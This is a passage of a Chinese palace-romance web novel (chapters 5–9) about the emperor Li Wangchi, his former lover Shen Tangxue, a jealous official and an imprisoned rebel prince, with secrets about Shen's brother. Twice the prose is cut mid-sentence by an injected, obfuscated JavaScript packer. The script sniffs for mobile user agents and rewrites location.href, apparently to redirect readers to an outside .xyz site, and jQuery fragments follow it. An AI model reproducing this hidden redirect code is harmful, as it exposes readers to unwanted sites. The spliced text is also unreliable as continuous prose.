他没有被使绊子,日子过得顺心,这样就很好了。 待他走后……也放心些。 谢将时不知他心中所想,听话地让他看,在对上他认真又缱绻的眼神时,喉头一滚,缓缓凑近了。 他回握住沈棠雪的手,声音变得轻缓,语调又带着抑制数年的颤抖,珍重地问道: “阿雪……跟我走,好不好?” 四年前,他表露心意,阿雪却选了李妄迟。而如今,只要他想,只要阿雪愿意选他,自己不论如何也会带他出去,不会叫他在这里受罪。 哪怕只有三个月……他也要他过得开心快乐。 谁知沈棠雪只是笑笑,一如曾经那般温和,缓慢地摇了摇头,语气逐渐放轻,轻飘得像云,“不必拖累你了。” 他知晓谢将时的心思,只是和一个曾经扯上谋害皇嗣罪名的人扯上关系没有什么好下场。 他的前途一片光明,不要同他走得太近。 5. 第五章 不必……拖累他了? 望着沈棠雪温和柔软的眼神,谢将时身形一晃,紧紧抿住了唇。 他知晓沈棠雪是个从来不麻烦别人的人,总是想让别人好好的,也不愿成为拖累。 可对他来说,他又怎么算是拖累? 阿雪是他想要揽入怀里轻哄的人,捧在手心里都怕化了的人。 为了他,他将天上的星星月亮抢来都愿意。 又怎来拖累一说? 他闭了闭眼定下心神,最终还是想再说些什么,却发觉面前人的气息逐渐变得轻缓。 沈棠雪放缓呼吸时那一缕轻缓气息轻飘得像云,不过数秒便散了,又冷得像冰,几乎要与这冰冷殿室融为一体。 他紧蹙着眉,似是难受得紧了,半晌却又缓缓低垂下眉眼,从喉中溢出一声自嘲的轻笑,如呢喃般道: “将时……那件事不要告诉他好不好?对他来说太残忍了。” 谢将时一愣,不可思议地微张瞳孔,觉着那一颗捧着的心都被撕碎得鲜血淋漓。 他知晓沈棠雪没有明说的那个人是谁,可分明自己都这样了,还在惦记着那件事…… 看着心上人变成这副憔悴模样,他就好受吗? 他知晓一切来龙去脉,却只能为他隐瞒,看着他为另一个男人做桩桩件件让自己几乎丢了性命的事? 谢将时深吸了一口气,咬紧牙关,语气夹杂着压抑的怒意道:“可是他……” 却对上了沈棠雪逐渐失焦的眼神。 不知何时,沈棠雪缱绻柔和的眼神裹挟了疲倦,呼吸越来越缓,越来越轻,几乎要听不见了。 谢将时顿时如一盆冷水浇下,刚升起的火气一下子灭了个干净,浓郁的怒意顿时化作无尽的恐慌。 他连忙靠坐到床榻边将沈棠雪揽入怀中,焦急地喊道:“阿雪?阿雪!我……我去喊太医!” 他正欲起身,却被沈棠雪轻轻揪住了袖子。 沈棠雪小脸冰凉地轻靠在他怀里,似是冷极了,连睫毛都隐隐带着洁白的冰意。 他的瞳孔微微涣散,有些神志不清了,却还是强忍着不适轻蹙起眉,固执地要一个答案, “别告诉他……好不好?” 谢将时还有什么不答应,还能有什么不答应? 他脑子嗡嗡地看着沈棠雪说完这句话便轻轻别过头去没了动静的模样,咬紧牙关忍下一切情绪颤抖地答了声: “好……” 再起身往外奔去时,他的脚步都有些踉跄急促了,生怕自己慢了分毫。 出门之时,只觉这瞬鸿宫的小院更冷了。 院中杂草丛生,空空荡荡的,连最后一丝人气都被剥夺。 沈棠雪就被独自关在这种地方。 他强忍着心脏被一只无形的手攥住一般的痛楚,抬手去开院门—— 门被人先行打开了。 来人负手而立,抬步泰然自若地踏过门槛,却在见到他时霎时微眯起眼睛眼神锐利, “谢爱卿……你怎么在这?” “李、妄、迟……” 谢将时方才因沉闷心情而变得凌厉的眼神还未散去,冷不丁对上他的眼神顿时又蹿起一阵无名火。 都是因为眼前的人,阿雪才会落得如今这副模样,而他三番五次的叮嘱,也只是不让眼前的人失落一分…… 面前的人却泰然自若、不闻不问,甚至对阿雪心生恨意。 凭什么……只因为他拥有阿雪全部的爱吗? 谢将时闭了闭眼,有千万句想要质问他的话语。可偏偏他一无所知,偏偏他可以坦然…… 他几乎要抑制不住自己的恨意地将事情全盘托出,看着李妄迟后悔的样子,再一字一句挖苦他,细说他的不是…… 可这不是阿雪想看到的。 阿雪他不想这样。 他的意识瞬间回笼,想起屋内沈棠雪如今的模样,咬牙将种种情绪强忍下去,藏在袖中的指甲都嵌入掌肉之中, “阿雪他……求陛下唤太医救他一命!” “谢爱卿这是不忍他居于此地,为他求情来的?” 李妄迟的语气变得凛冽危险,眼神泛冷,“朕的人好像还轮不到你来管。” 他的话语分毫不让,不顾任何情面。此刻他们不像君臣,更像是敌人。 当年谢将时对沈棠雪有意无意的觊觎他看在眼里,如今三年过去,沈棠雪一回京,他便迫不及待地到这瞬鸿宫来,什么心思昭然若揭…… 他是恨沈棠雪恨到再不相见,可到底是得过君恩的旧人,还轮不到谢将时来撬墙角! 谢将时的语气也倏然沉了下来,“就算看他死在这儿……我也管不了?我不是你这样的白眼狼!” “白眼狼?”李妄迟勾出一抹冷笑, “当初沈棠雪下毒之事人尽皆知,谢爱卿还能如此颠倒黑白,真是对他情、深、义、重、哪。” “不过在此地待上几日罢了,谢将时你未免把他想得太易碎了。” 谢将时不知被哪个字刺激了,呼吸逐渐粗重,眼神带上了极重的怒意。 他像是在竭力抑制自己的情绪,嘴唇都在大幅度地颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036282|178699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖,“……你会后悔的。” 他说完这句话便不管不顾夺步而出。紧随着一道极大的声响,院门被重重关上。 “嘭!” 徐公公已然去屋内看了一眼,这时大惊失色颤巍巍地踉跄到御前,小心谨慎地道:“陛下……您还是去看看吧。” 李妄迟顿时蹙了蹙眉,拂袖朝屋内走去。 一入屋,直钻进人骨子里的冷气扑面而来,透过潮湿的墙壁,能看见屋子尽头那冰冷板实的床榻上蜷缩着一个人影。 沈棠雪朝墙而卧,如绸缎般的乌发铺了满榻,从身后能看见他被轻薄衣衫勾勒出的清瘦的脊骨脉络。 他似是难受得很了,勾着膝弯将蜷缩成一团,微微躬着脊背,无辜地挤在自己的一隅。 李妄迟缓缓走近,冰冷地唤了一声,“沈棠雪?” 无人应答。 面前的人对着渐近的脚步毫无动静,连呼吸都轻得得几乎听不见,只剩身子轻微的颤抖昭示着他还有些气息。 李妄迟冷笑一声,不为所动,半晌上前两步不耐地道:“又在使什么惹人怜惜的把戏?” 他一面说着,一面搭着沈棠雪的肩头将他翻身过来—— 却对上了一张被梦魇住脆弱得几乎要死去的苍白面容。 沈棠雪紧紧绞着几乎漏风的冰凉被褥,难受地蹙眉,眼眶发红,睫毛湿漉漉的。 他水润粉白的唇瓣都已然干裂,唇间正颤抖地哈着寒气,似是冷极了,还在不断颤着身子。 李妄迟霎时愣在了原地,诸多冷嘲热讽的话语都哽在了喉间。 都这样了,也不肯对他示弱一分吗? 如果他没来,沈棠雪还要在这冰冷的瞬鸿宫倔强到什么时候? 李妄迟想起方才谢将时说的“就算看他死在这儿我也管不了吗”的话语,有些恍神。 他本能地伸出手,想要替沈棠雪盖好被褥,却又意识到什么,指尖硬生生地转了向,粗糙的指腹擦过他的下唇。 是热的…… 好烫。 分明是这么冰冷的人,唇瓣却还是烫的,软的。 他面色不改,看着沈棠雪的眼神却逐渐变得复杂。 一道道心脏怦怦直跳声如鼓点一般响在他的耳畔,他的脑海中浮现出曾经亲吻时沈棠雪睫羽微颤的模样。 那样泛着水光的眼睛,那样包容又饱含爱意的笑意…… 李妄迟闭了闭眼,终于转头沉声道:“……徐公公,叫太医。” “我还没问出当年背叛缘由,不能让他就这么不明不白地死了。” 6. 第六章 夜光幽深,倒映出殿内缓缓摇曳的昏黄烛火。 微光随风微微晃动,柔和地将墙上被撕得几乎破碎的画照得轮廓明晰。 李妄迟定定地站在画旁,看着画上之人一双清冽如冰雪的眼睛微微弯着、勾起温和笑意的模样,竟有些恍神了。 他曾细细吻过那人的眉眼,听着他在自己身边的清浅呼吸,看着他意气风发笑得开怀的模样…… 曾那样爱过他。 他本以为他会在他身边待一辈子,可沈棠雪三年前对他没有一点留恋,毅然决然地想要毒死他。 就连如今看他时……也是那般淡漠的眼神。宁愿拖着那副脆弱的身子往地牢去,也不肯对他低头一分。 想到此,李妄迟缓缓握紧了拳头,指甲都要嵌入掌肉,抬眼看向那画像上斑驳的撕裂痕迹。 他在沈棠雪三年前离去之后,发疯一般将他的画像尽数撕扯成碎片。 落锁了回忆中的故地,将有着沈棠雪气息的物品全数封存,让京城再无人敢提起他的名字。 可是当沈棠雪回来之后,曾经的记忆又不受控制地重新盘旋回他的脑海。 他还是忍不住去想。 他缓缓闭上眼,沉沉地呼出一口气。眼神微敛之时想到了什么,抬步向地牢走去。 …… 一进地牢,冰冷潮湿的气息扑面而来。 返潮的铁链被水浸湿得剔透发亮,哐当哐当的铁链碰撞声收入耳中,伴随着令人牙酸的尖叫与鞭挞声。 李妄迟目不斜视地负手往前走去,直直走至地牢的最深处。 透过坚硬冰冷的铁杆,居高临下地看着其中被折磨得不成人样的身影。 那人被铁链拴着跌坐在地上,双手无力地垂在两侧,囚衣上满是血痕。 他深深浅浅的血痂与衣物黏合在一处,一动伤口又涌出新的鲜血。 低垂着头,半边面容被凌乱的碎发遮住,却听脚步声分辨出了来人,轻嗬一声, “李妄迟……你是来看我笑话的?” “是啊,如今成王败寇,自然要看看你狼狈不堪的样子……李锦殊。” 他抬起眼皮,“在草原谋划着反叛的时候,你又可曾想过今日?” 已然成阶下囚的瑄王李锦殊低低地闷声笑了两下,拉长声调沉声道:“想到了……” 他的语调低沉,并不释然,而是带着无穷尽的凶狠。 像是被扼制住咽喉强行服软的狼,连堪堪露出的眼睛里有破釜沉舟的疯狂。 “倘若不是我对他放松警惕……你根本活不到今日。” 李妄迟捕捉到他话语中的信息,眼神一凛,“什么?” 李锦殊却冷笑一声避而不谈,看着他的眼神还有些嫌恶的怜悯。 “你又赢在何处?在你最没权势的时候你救不了你的母妃,也留不住你的爱人,李妄迟,当时一无所有的感觉怎样?” ……他竟敢提。 李妄迟霎时周遭的气压骤降,周身杀气难掩。 当年沈棠雪倒戈才一月有余,李锦殊便携倭寇行军攻打而来,先帝觉着是他惹出的祸端,派他为将出征讨伐。 他的母妃静贵妃因着担忧他,在先帝面前提起此事,为他软声软气说上几句。 谁知先帝本就因着李锦殊试图篡位之事而对血缘之人疑神疑鬼,此番更是被激起怒火。 误以为她要妄议朝政插手皇嗣,心生忌惮,将她…… 赐白绫。 那一日,他只能在皑皑大雪的战场上收到这等消息,心生悔意却无能为力。 最惨痛的记忆被人强行从脑海之中拽出,他呼吸粗重,指甲都暗暗嵌入掌肉。 李锦殊却不打算放过他。 他沦为阶下囚,满身伤痕,也誓要把李妄迟的伤口也扒个血淋淋的。 随着两声畅快的大笑,李锦殊得寸进尺地继续开口道: “我还听说……沈棠雪回草原之前给你下了毒?” “嘭!” 他还未说完,便被李妄迟猛地朝胸口踹了一脚,滑到牢房最深处。 一股浓重的血腥味蔓延,李锦殊却笑得愈发欢了。 他连身子都在大幅度的抖动着,像个无所顾惮的疯子,抬手擦去唇边的鲜血,饶有兴味地看着李妄迟明显被激怒了的模样。 “贤侄……发什么怒啊?这不是事实么?他只不过遵循我要他做的事罢了,又没多爱你。就算把我杀了,他也不会选你。” “如今他同他兄长走了,更是不会回京,我看你……” 李妄迟开口打断他笃定的话语,“他回来了。” “……是吗。” 李锦殊的笑意瞬间收敛得一干二净,瞳孔黑漆漆的,眼神沉得有些可怖。 他轻笑一声,语气中掩藏波涛汹涌,“看来他的兄长没带他走,又回来找你这个旧情人了。” 谁知李妄迟冷不丁地问道:“……他的兄长是谁?” 霎时沉默,李锦殊猛地转头看他,伪装出的神情破裂出一个口子,带着不可思议。 李锦殊的语气有一丝微不可察的怒意和颤抖, “……他竟从未跟你提过有位兄长之事?” 沈从陵是沈棠雪唯一血脉相连的人,也是他一生唯一可被牵制的错处。 他想过沈棠雪在心上人面前装模作样,却不想……他一丁点不堪都不想让李妄迟知道。 李锦殊近乎失态,李妄迟眼神一暗,察觉到了不对。 他从未听沈棠雪提及此人,如今李锦殊却端得熟稔自然,好似这只是个寻常人物。 ……是有什么他不知道的 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却对上了李锦殊有些幸灾乐祸的神情。 那双戏谑的眼睛带着得逞的得意,叫他被刺痛了一下。 李妄迟紧紧蹙眉,眼神愈发冷峻,意识到了李锦殊话语中的漏洞。 ……如若沈棠雪的兄长当真与他亲近如此,又为何会容忍他在草原变成如今这副脆弱得要死去的模样? 待一切尘埃落定后,他的兄长又怎会如李锦殊所说独自离去,没有带沈棠雪一起? 想起方才李锦殊有些失态的神情,他不由得呼吸粗重,觉着自己似是抓住了事情的关窍。 李锦殊如若是震惊沈棠雪并未与他亲近交心之事,应当是端得得意。 又怎会如方才一般……夹杂着怒意。 莫非沈棠雪并未如他所想的那般爱李锦殊,三年前毅然决然地回草原之事,只是与他兄长有关? 李妄迟暗暗心里有了盘算,面上却质问道:“他的兄长究竟是何人?!” “我若不说,该当如何?” 李妄迟眼神一暗,“朕自会去找他,叫他自、己、开、口!” 他说完,谁知李锦殊竟缓缓勾起了一抹意味深长的笑意。 沈棠雪这么多年未将事情告诉他,是他的偏爱,如若李妄迟去问,那才真是触碰到逆鳞了。 沈棠雪这般骄傲的人,从昔日尊贵的太傅沦落到如今无处可依,本就是攒着自己可怜的一颗心,忍着最后一口气。 如若再问他往事,那便是要他将伤口血淋淋地揭开给他看,将自个的尊严都随处丢在地上…… 难道沈棠雪当真那般爱他爱成这般,连这些话也会对他开口? 7. 第七章 走出地牢时,漆黑的夜中星星挂了两颗。 李妄迟定定地望向前方亮堂的一座座玉楼金殿,孤身一人地站着时,徐徐凉风将他吹得清醒。 那日沈棠雪从瞬鸿宫出来后,体内的寒气侵入得厉害,他还是松了口,让他搬到暖阁去养病。 如今顺着青石板道路上左右两侧的翠叶莹莹,透过幽淡的花香扑鼻,最前方的一座阁殿映入眼帘。 殿中桃花顺着枝丫绕了一捧钻出墙外,娇艳欲滴地随着微风轻晃。 顺着院门微开的缝隙,温暖的气息扑面而来,夹杂着淡淡花香。 李妄迟轻着脚步入了院去,屏退了一众通报的人,从屋子侧面的模糊窗影中看着屋内人隐隐绰绰的身影。 沈棠雪正轻弯下身子在罗汉床前摆弄着什么,他如绸缎般的乌发轻轻搭在肩上,轻衫垂落,细瘦的腰身被束带被勾勒得若隐若现。 “吱呀——” 他推门而入,沈棠雪闻声转过头来,语气中还带着温柔的笑意, “小杨子,可是将另一个泥人拿来……妄迟?” 他的神情转为愕然,缓慢地眨了眨眼,看向李妄迟时眼底眸光清澈,纤长的睫羽随之微微颤动。 经过这些时日的温养,他的脸色好了些许,小巧的脸蛋比回京时红润了许多,粉扑扑的惹人疼。 只是眉眼间还有些虚弱的疲态,抬起袖子时手腕纤细得不盈一握。 方才他笑意未消,似有欣喜之事,神情明媚,微弯成月牙的眼如同闪着碎光,水润的唇角都噙着一抹温柔的笑意。 像…… 三年前的他。 李妄迟有些恍然地走近两步,却看见沈棠雪微不可察地后挪一步的动作时,一时如同一盆冷水泼下。 沈棠雪怕他? 还是……厌恶他? 他喉头一滚,心中倏然烦躁了一瞬,自顾自调整好心绪,若无其事地问道:“要他拿什么?” “……没什么。” 沈棠雪眼疾手快地将拿着物什的手别到身后,侧过脸去避开他的目光。 有些心虚。 李妄迟眼神锐利地上下打量了他一番,皱了皱眉,倏然大步上前,一把抓着他的手腕,将其从身后抽出, “怎么……有什么是小杨子可以知晓,朕都不能知……” 他话音未落,便在见着沈棠雪手中拿着的东西时愣住了。 那是一只制艺笨拙的泥人,笑眼弯弯微微歪头呈依偎姿势,瞧着似是一对。 泥人五官上的刀工笨拙,细细看来竟与沈棠雪有五分相似,只是五官更沉稳些。 ……是草原的样式。 只一瞬,他便看出这泥人刻的是沈棠雪不曾露面过的“兄长”。瞧着这刀工歪歪扭扭的模样,竟还是孩童时候做的玩意。 ……是他从草原带回来的么? 他握着沈棠雪手腕的手微松,有些恍然地想到李锦殊说的“他与兄长手足情深、形影不离”之事,倏然觉着这也许并非空穴来风。 他是在怀念草原的日子么?还是……在怀念那个没带他走的人? 想到沈棠雪也许也会为着别人黯然神伤,李妄迟不免呼吸都粗重了两分。他冰冷地压下眼睫,自身都未察觉地呼吸发沉, “这是草原的东西,你特意带回来的?” 沈棠雪猛地手忙脚乱将其又藏起来,“没有,我只是……” “这是你兄长的东西。” 听着他笃定的话语,方才还在辩解的沈棠雪顿时僵住了。 他从未对李妄迟提起过兄长之事,他是如何知晓的……又知晓了多少? 李妄迟是不是已经知晓他从一开始就别有用心?是不是已经知晓他因着兄长受李锦殊驱使?是不是觉着他可笑…… 费尽心思却成了个满盘皆输的丧家犬? 沈棠雪漂亮颤抖的眉眼里是掩藏不住的惊诧,还带着一缕微不可察的苦痛与害怕。 不知不觉间,他已然浑身发冷,觉得李妄迟看向他的眼神只是了如指掌的例行询问而已。 那样冰冷又压抑着怒意的眼神,宛如一个漆黑得能将人全数吞噬的陷阱,眼底的眸光都在气势汹汹地指责他的所有罪行。 闭上眼他都能想到李妄迟接下来会说什么。 三年前逃跑时他不怕,三年后回京时他不怕,如今他却怕李妄迟把所有的一切在他面前揭开,用那样轻蔑不屑的眼神,将他最后一层尊严都被撕开…… 最后嘲笑他说沈棠雪你把我玩弄在股掌之间,最后还不是落得一无所有的下场…… 他不想这样。 思绪间,他忍不住全身战栗起来,本能地别开脸去逃避李妄迟的眼神,瘦削的身子颤抖得厉害。 他一把推开李妄迟,哆嗦着将自己蜷在膝弯里,狼狈地用力想要往后退去—— 却被李妄迟一把上前抓着肩头死死地摁在了原地。 李妄迟的呼吸粗重,藏在阴影里的神情填满阴霾,仿若风雨欲来。 他死死地咬着牙,鼻中呼出气愤又颤抖的吐息,看着沈棠雪的眼神几乎要将他盯穿了。 ……他在怕什么?他在怕自己问什么?! 只是提到他那不告而别的兄长,他的反应就会大成这般…… 他就当真这般在意此人吗?! 唇齿之间深深地呼出一口郁结的气息,他只觉方才沈棠雪一把推开他时的胸膛的掌痕还有苦痛的余热。 ……明明是那样不值一提的力度,如今却仿若要烧灼起来,一下子烧到心里,将他捧着的那一颗真心烧得干干净净。 三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036284|178699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年前沈棠雪能够为了别人毫不犹豫地弃他而去,如今……他又能为了兄长义无反顾地推开他。 沈棠雪就这般心狠,这般对他不屑一顾……宁愿对任何人好,也不愿意多看他一分,对他低头一下吗? 一时,他感觉仿若一枚石子在他心头嘭地砸了一下,一种难言的酸涩之感在心口蔓延开来。 一股妒火从心头蔓延,又延伸到五脏六腑,愈烧愈旺。 他喉头一滚,看着沈棠雪的眼神愈发咬牙切齿,几乎要控制不住自己涌上心头的怒意。 他的胸膛剧烈地上下起伏,半晌,像是发泄一般轻哈一声,语气都转为解恨般的自暴自弃, “沈棠雪……你当初为了他抛弃我的时候,可有想过今日又落到我的手上?你为他付出这么多……他还不是没有带你走?!” 刹那间,带着怒意的回声响彻殿室,殿内的琉璃置物都仿若跟着晃了一晃。 李妄迟觉得自己分明将心中郁结之处全数吐露而出,却喉咙发紧,出口这一句便将他的心脏一点一点地撕裂成两瓣。 没有半分痛快。 他的心肝都在颤抖,血淋淋的,狰狞的,凌乱不堪的。攥紧的拳头几乎要扣出血来,表面看着直直站定的身体已然微不可察地颤抖起来,近乎失力。 如今能将沈棠雪捧在手心里的是他,沈棠雪得靠他…… 他努力不让自己如今看起来狼狈,却不想面前人颤抖起了身子,低垂着头将神情掩在膝弯之中,发出了一声…… 苦痛不堪的压抑在嗓子里的哽咽。 沈棠雪苍白的五指缓缓攥紧了被褥,细密的呜咽颤抖在嗓子眼里,像是收尽了人间苦楚,压抑着心中说不出口的苦痛。 又带着…… 一分料到果真如此的自嘲。 李妄迟嘲笑着说兄长为什么没带他走,当年抛弃他的所作所为一点都不值得,草原的一切狼狈都被尽数铺开…… 他果然什么都知道了。 悬而未落的剑终于掉下,爱人的冷语与他所想不谋而合。沈棠雪自嘲地低低轻笑起来,只觉一颗心脏宛如被人揉进又松开。 他这些年所做的一切都是笑话。 他闭了闭眼,颓然地松了口气。在肩头沉下去的那一瞬,他像是被堆积在心中的万般情绪骤然反噬…… 一下子衰败下去。 再睁眼时,那一双清冽如冰雪的眼睛盈起了浅淡的泪意,分明眼圈泛着旖旎的薄红,瞳孔却淡漠得可怕。 啪嗒一声,一滴晶莹的泪珠无情地滚下,直直地洇湿在雪白的被褥里。 像是有什么也悄然无声地离去了。 李妄迟瞳孔紧缩,觉得这一滴泪宛如滚烫烧灼,直直地烫进他的心里,于心头泛起涟漪。 将他的心顿时揪紧了。 8. 第八章 “呃啊!” 听着四周关着重刑犯的牢房成日传出令人牙酸的惨叫声时,小四呼吸一滞,身体都忍不住地一抖。 他们本是李锦殊手下勇猛的兵,被他哄得飘飘然,做着攻至京城加官进爵的梦。 但时日一日一日过去……那梦早已在暗无天日中化为虚无。 他们终于认清自己只是一个个死刑犯,就等着狱卒一个月后来抓人到断头台去。 这冰冷的牢房感觉不到时间流逝,不分昼夜。他们被迫精神紧绷着,胆战心惊,让死亡的恐惧如一把悬而不落的剑,一直一直悬在他们头顶。 他们怕看见有人被折磨得面目模糊、鲜血淋漓地被抬出去。 也怕下一个就是自己。 “哒,哒。” 一道从容不迫的脚步声逐渐逼近,还夹杂着狱卒讨好的奉承声。那人言语冰冷地将人全数屏退,直直向着牢房走来。 ……是来提他们上断头台的人吗? 小四扬起一股恐惧之意,希冀又忐忑地往发声处望去,苍白干裂的嘴唇上下打着哆嗦,心里直打鼓。 随着鞋底触碰地面的声音越来越清晰,脚步声愈近,霎时,高大的阴影笼罩整个牢房。 小四怔怔地抬起头,对上了一张淡漠又威严端正的面容—— 李妄迟。 怎么是他? 他一下子跌坐下去,眼神跟看见罗刹一般惊恐万分。 李妄迟来这里做什么……要将他们提出去提前斩首吗? 是不是身处另一牢房的李锦殊已经被他凌迟处死,他还嫌不解气,如今要将他们也重刑折磨? 这位可不是什么好相与的主! 当年沈棠雪叛逃回草原之后他们行军攻打的那一场战役,他也曾见过李妄迟一面。 这人……简直就是浴血而战的头狼,浑身上下带着嗜血的杀意,哪怕在幽暗的夜中,那一双眼睛都亮得吓人。 被他盯上的人,不死也要被扒下一层皮来的! 他不由得往后缩了一缩,避之如蛇蝎,周围却突然骤然骚动起来。 牢房中的其他人如同抓住了救命稻草一般争先恐后地朝着李妄迟所在的方向涌了上去! “陛下……陛下!饶了我吧!我还不想死啊!” “反叛的事都是李锦殊指使的,我们没捞到一点好,是他罪该万死啊!陛下——陛下!饶了我们吧!” 距离死亡之期愈来愈近,左不过一个月的时间,转瞬就过了。谁想死?能有生的机会,谁不想活? 同僚如乞讨的狗一样踉跄地跪倒在李妄迟的脚边,不顾一点尊严地哀求。小四听着他们希冀的声音时猛然反应过来。 李妄迟此番来若是要折磨他们作乐,大可毫不留情地使唤人将他们拖出去,何必屈尊就卑地到这地牢里来? 他这是来做什么的? 说不定……他们能因此得一条生路呢? 小四心一颤,激动之意无以言表,连忙跟着爬了过去,拱开一些人挤到了队伍的中间。 在视线尽头,李妄迟身着一身利落黑色云纹锦衣,眼神冰冷疏离,居高临下地看着他们。 仿佛在看一群令人厌恶的死物。 他嘲弄地笑了一声,施舍般地颔首道:“朕问一事,答出之人,免除一死。” 此话一出,本来还面黄肌瘦耷拉着神情的囚犯们眼神一亮。 他们手脚并用地在稻草上摩挲,拼出吃奶的劲争先恐后地往前挤去,生怕别人抢了自己的生路, “我来答……” “别听他的,他知道的没我多……我来!” 李妄迟看着他们争抢模样,长身而立没有言语。半晌,启唇开口道: “沈棠雪与其兄长之事,你们知道多少?” 沈棠雪……与其兄长之事? 竟然是问沈棠雪的事? 牢房中的七嘴八舌的言语戛然而止,众人面面相觑,最后第一反应竟然是抬起头去端详着他的神情。 谁人不知当年李妄迟爱沈棠雪爱得死去活来,在他叛变之后哪怕将京城翻个遍都要将他找出来。 但谁又知道如今沈棠雪落到他手里是不是要翻旧账? ……可万一是要念旧情呢? 他们是说好还是坏啊? 众人心里直打鼓,忐忑不安地小心抬眼看他。 见着李妄迟眼神淡漠,微眯起眼睛任他们打量,像是在问一个毫不相干的人的模样,他们霎时松了一口气。 想来是要翻旧账! 有人顿时心领神会,举起手来连滚带爬地到他跟前,一股脑地说了, “陛下……陛下,我知道!沈棠雪与其兄长本是孤儿,相依为命,却因着一个机遇被瑄……被李锦殊救了。” “之后两人便都留在了草原,沈棠雪的兄长沈从陵则是李锦殊的幕僚!” 一连串的信息量砸了出来,将李妄迟的视线吸引了过去。 他的眼神沉沉,颔首让那人继续说,却在听见“他们本是孤儿”时微不可察地一僵。 沈棠雪是孤儿? ……那样温润如玉,瞧着养尊处优的人,怎么可能是孤儿? 他喉头一紧 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“继、续、说!” 李妄迟强忍着将涌起的一腔怒火往肚子里咽,不知费了多少气力才维持这一副面色不改的模样,眼神冷峻地看向那人。 “分、分明是沈从陵的机遇,最后却成了沈棠雪得恩宠的踏板,他自是不满。” “弟弟成了李锦殊面前的红人,他却默默无闻只能跟在身边点头哈腰,不就衬着他是个不灵光的废物么?所以他对沈……” 李妄迟打断道:“草原上的人都认为沈从陵是个废物?” 刹那,顿时无人敢吭声。李妄迟微眯起眼,环视一圈,却只能见到一众心虚避开的眼神。 谁人没给过沈从陵冷眼、冷嘲热讽他过? 草原上李锦殊的恩宠就是权势,被李锦殊看不上的人同样也被他们看不上。这没什么好稀奇,因此沈从陵在草原遭受了很多流言蜚语。 有人说他只能跟条看人眼色的狗一样,也有人说他是因为他弟弟才能讨口饭吃。 侮辱人的话那都是家常便饭。 没人会对废物多尊重。 李妄迟从他们的神情中知晓了草原的态度,却是心里咯噔一声,因着另一件事心沉了下去。 无数流言蜚语在激化他们兄弟二人的矛盾,谁又能在恶言恶语中对流言中的罪魁祸首始终如一呢? ……在这样残忍的话语中,沈棠雪又受到了至亲怎样的对待? 9. 第九章 “……沈棠雪也是这么认为的吗?” 听见李妄迟低沉的问话,那人的言语都顿了一顿,语气变得复杂。 “……只有沈棠雪不这么认为。但哪怕草原里只有沈棠雪对他最好,他也明里暗里地说过很多他弟弟的不是。” 李妄迟微眯起眼睛,“他说的什么?” “说……说沈棠雪以色侍人,说他只是个空有皮囊的酒囊饭袋,比婊子还贱……” 霎时空气寂静。 李妄迟听完话之后的眼神逐渐变得阴鸷,那一双泛着冷意的瞳孔夹杂着危险。 那人被他看得冷汗直冒,脑子一片空白,只倏而想起李妄迟是来翻旧账的,慌不择言地哆哆嗦嗦接话道: “陛下放心,沈棠雪回草原之后也不好过!他那个叛徒……” 下一秒自己感觉到了不对,猛地住了嘴。 李妄迟却已然微眯起眼,缓慢地咀嚼着字句问道:“叛……徒?” 那人伏地紧贴地面,紧绷着身子支支吾吾说不出个所以然来,哆哆嗦嗦的。 如若陛下因此知晓沈棠雪当年违背李锦殊的意愿放少下毒剂量还刻意暴露卧底身份之事,二人因此重修于好…… 那方才还透露诸多草原中对沈棠雪不好之事的他,岂不是要掉脑袋? 他咽了口唾沫,急急地转了转眼珠,连忙找补道: “是、是他年老色衰!还带了满腹京城清高的书卷气回草原,惹得李锦殊不喜欢了!这才在草原不好过……” 李妄迟紧盯着他,深深吸了一口气,打断他的话吩咐道:“将他带出来。” 那人以为自己逃过一劫,见着狱卒利落上前,连滚带爬地往前凑,“多谢陛下!多谢陛下!” 下一秒却如坠地狱—— “杀了吧。” 李妄迟冰冷地看着那人如坠冰窖、猛地跌坐在地不住求饶的模样,没有一分动容。 回想到方才听到的那些话语,他只觉心脏都被一只无形大手攥紧一般,觉得那人可恨。 为什么沈棠雪回了草原之后经历的是这些……凭什么他回了草原之后经历的是这些? 他以为那个在他心上狠狠扎了一刀的人在三年前得偿所愿。 如今却告诉他,沈棠雪这三年活得水深火热,是回了个不待见他的深渊? 那他这三年的恨意算什么? 叫他如今知晓曾经想要千刀万剐的人活得这般苦痛又算什么? 让他连恨……都不能恨彻底? 李妄迟闭了闭眼,深深呼了两息才尽力平复心中怒意。同时却有一股难言之意蹿上心头。 方才那人说起叛徒之事时眼底有掩饰不住的恨意,痛恨的语气像是让沈棠雪不好过都是正义所向。 沈棠雪究竟……瞒了他什么? …… 金尊酒盏散落桌案,清脆金属脆响碰撞。 酒过三巡,李妄迟微醉地靠坐在檀木椅凳上,枕颈抬头看着墙上昏黄烛光照映出的被撕裂的画像。 微微涣散了瞳孔,眼神逐渐温和。 画像上的人曾经那样好,笑脸盈盈的温柔面庞裹挟着爱意,如今却被撕裂成一片一片的残影。 那一年,他红着眼睛将沈棠雪的画像撕得有多狠,如今就有多少烦闷的酸涩涌上心头。 酒意浓稠得发闷,直直地堵在心尖。李妄迟想着方才听到的事,几乎要喘不过气来,连呼吸都被迫放得缓。 半晌,酒意上涌的视线有些模糊了。 他怔怔地那张残破的画像,执拗地伸手去抓空气中幻现的那一个残影—— 